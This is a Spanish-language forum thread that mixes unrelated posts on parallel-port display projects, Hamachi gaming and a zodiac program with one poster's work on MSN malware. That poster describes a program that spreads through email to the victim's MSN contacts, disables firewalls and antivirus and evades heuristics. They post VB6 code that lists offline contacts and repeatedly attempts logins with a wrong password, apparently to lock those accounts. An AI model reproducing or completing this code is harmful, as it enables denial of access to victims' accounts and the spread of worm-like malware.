Mensajes

mas facil es jugar por hamachi... haber si nos tiramos unas partiditas
saludfo

Holas he empezado a desarrolllar el proyecto ...una vez listo les colocare el tutorial paso a paso con imagenes
saludos

es posible conectar 9 displays al puerto paralelo??? como puedo configurarlos...quiza un un mux?

He leido los post anteriores y pude realizar con un solo display
pero no se como hacer con 9

saludos

fijate en esta idea


3 de mayo
03/05 -> funcion(03/05)= 503 ->el mes por delante
         ->determina(503)->tauro
             tauro : 420 - 520// entre el 4 de abril y 20 de mayo

...te das cuenta
a programar entocnes!

Buenas tengo este proyecto y no se si esta bien el diseño

                                 D0                  dp1    dp2     dp3       
                                 D1                           
                                 D2 
puerto paralelo ---->  D3----tarjeta-  dp3    dp4     dp5
                                 D4
                                 D5
                                 D6
                                 D7                   dp6    dp7    dp8

Este es el juego del michi o 3 en raya en donde dp es un display.La idea es mediante la entrada de datos (un programa en c)dos jugadores coloken por turnos 0 o 1 y se pueda saber quien es el ganador.

Espero su ayuda mas que nada en comoarmar el componente
o hay otro modo????

saludos

en realidad ingresa por la pagina de hotmail,

Ahora estoy trabajando en esto:

El programa se puede trasmitir a traves de correo tomando los contactos del msn. CAda vez k una persona lo habra automaticamente se capturan sus contactos y se renvian las peticiones de blokeo desde esa makina.
La idea es k esto funcione desde el sector de arranque o amarrado a algun programa previa desactivacion de los firewall y antivirus(considerando anti heuristica).

Se pueden hacer muchas cosas mas mediante esto por lo k de pasoe stoy aprendiendo VBS.

Espero sus comentarios
saludos

por eso la peticion se hace via msn!


en eso trabajo

saludos

bueno decri tambien k añadir el

1 textbox como text1
2 command button command1 y command2
un timer//k esta sobrando

y nada mas son 3 referencias de las API

saludos

oopppss

me olvide decir k para k capturen los contactos deben tener abierto el msn (el actual 7.5)

El atake se realiza por el msn de windows...


saludos y espero mas respuestas

Este code esta mas avanzado...

recordar darle las referencias


Tengo un problema con el win messenger de windows.

saludos

Código [Seleccionar] Expandir

Dim t1 As Integer
Dim t2 As Integer
Dim flage As Boolean

Public WithEvents MSN As MessengerAPI.MessengerNative
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Wait(ByVal nSec As Integer)
    'Esperar un número de segundos
    Dim t1 As Date, t2 As Date

    t1 = Second(Now)
    t2 = t1 + nSec
    Do
        DoEvents
    Loop While t2 > Second(Now)
End Sub


Private Sub Command1_Click()

t1 = 0
t2 = 0
Dim password As String
Dim usuario As String
Dim flage As Boolean

password = "hola"

x = 2
flage = False
t2 = 0
usuario = List1.List(0)

While (t2 < 1000)
  MSN.Signin 0, usuario, password
  'For t1 = 0 To 20
  SendKeys "{tab}"
  SendKeys "{tab}"
  SendKeys "{tab}"
  SendKeys "{tab}"
  SendKeys "{tab}"
  SendKeys "{tab}"
  SendKeys usuario
  SendKeys "{tab}"
  SendKeys password
  SendKeys "{enter}"
  Wait (2)
  'Next t1
  Label1.Caption = usuario
  t2 = t2 + 1
  usuario = List1.List(t2 Mod x)
Wend

End Sub

Private Sub Command2_Click()
flage = False
End Sub

Private Sub Form_Load()
Set MSN = New MessengerAPI.MessengerNative
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact 'Declaramos la variable user como contacto del mssenger

For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos si esta conectado en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a la list1
If Not (user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH) Then
List1.AddItem user.SigninName 'tb podriamos hacer esto con el nick colocando user.friendlyname
End If
Next
Timer1.Enabled = False
End Sub




ademas se trunca en determinada parte del code ...
espero mas aportes